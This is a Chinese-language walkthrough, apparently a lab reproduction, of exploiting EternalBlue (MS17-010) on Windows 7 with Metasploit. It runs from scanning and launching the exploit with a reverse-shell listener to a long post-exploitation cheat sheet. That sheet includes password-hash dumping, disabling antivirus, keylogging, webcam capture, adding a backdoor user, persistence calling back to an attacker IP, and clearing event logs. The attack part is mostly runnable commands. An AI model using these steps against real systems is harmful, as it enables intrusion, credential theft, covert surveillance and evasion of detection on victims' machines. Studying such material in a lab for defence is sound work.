漏洞描述:
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
影响版本:
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
复现环境:
攻击机:Linux Kali (192.168.8.242)
靶机:Windows7 x64 (192.168.8.172)
复现过程:
主机发现
用nmap探测本网段存活主机 nmap 192.168.8.17
探测到存活主机ip,并探测到开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。
进入MSF框架
执行msfconsole
ms17-010代码 msf6 > search ms17_010
在这里可以看到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,前者扫描漏洞,后者进行攻击。
使用ms17-010扫描模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
查看模块需要配置的参数 show options
在Required一栏中显示yes的需要填写Current Setting项
如 set rhosts 192.168.8.172
执行扫描 run
显示可能存有永恒之蓝漏洞。
使用ms17-010攻击模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
查看模块需要配置的参数 show options
同理,设置目标IP :set rhosts 192.168.8.172
设置用于接收从目标机弹回来的shell:set LHOST 192.168.1.11
执行攻击 run
攻击成功!
后渗透阶段
使用shell
可以进入被攻击机的Windows shell,但会有乱码。使用chcp 65001
,改变代码页(65001为UTF-8的代码页)即恢复正常。
使用screenshot
进行截屏
想从目标主机shell退出到 meterpreter ,输入:exit
要想从 meterpreter 退出到MSF框架,输入:background
更多操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详细信息 run hashdump #导出密码的哈希 load kiwi #加载 ps #查看目标主机进程信息 pwd #查看目标当前目录(windows) getlwd #查看目标当前目录(Linux) search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件 download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下 upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程 PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上 idletime #查看主机运行时间 getuid #查看获取的当前权限 getsystem #提权 run killav #关闭杀毒软件 screenshot #截图 webcam_list #查看目标主机的摄像头 webcam_snap #拍照 webcam_stream #开视频 execute 参数 -f 可执行文件 #执行可执行程序 run getgui -u hack -p 123 #创建hack用户,密码为123 run getgui -e #开启远程桌面 keyscan_start #开启键盘记录功能 keyscan_dump #显示捕捉到的键盘记录信息 keyscan_stop #停止键盘记录功能 uictl disable keyboard #禁止目标使用键盘 uictl enable keyboard #允许目标使用键盘 uictl disable mouse #禁止目标使用鼠标 uictl enable mouse #允许目标使用鼠标 load #使用扩展库 run #使用扩展库 run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接 192.168.27的4444端口,缺点是容易被杀毒软件查杀 portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址 clearev #清除日志
1 2 3 4 5 6 7 8 9 run post/windows/manage/migrate #自动进程迁移 run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上 run post/windows/manage/killav #关闭杀毒软件 run post/windows/manage/enable_rdp #开启远程桌面服务 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列举当前登录的用户 run post/windows/gather/enum_applications #列举应用程序 run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码 run windows/gather/smart_hashdump #dump出所有用户的hash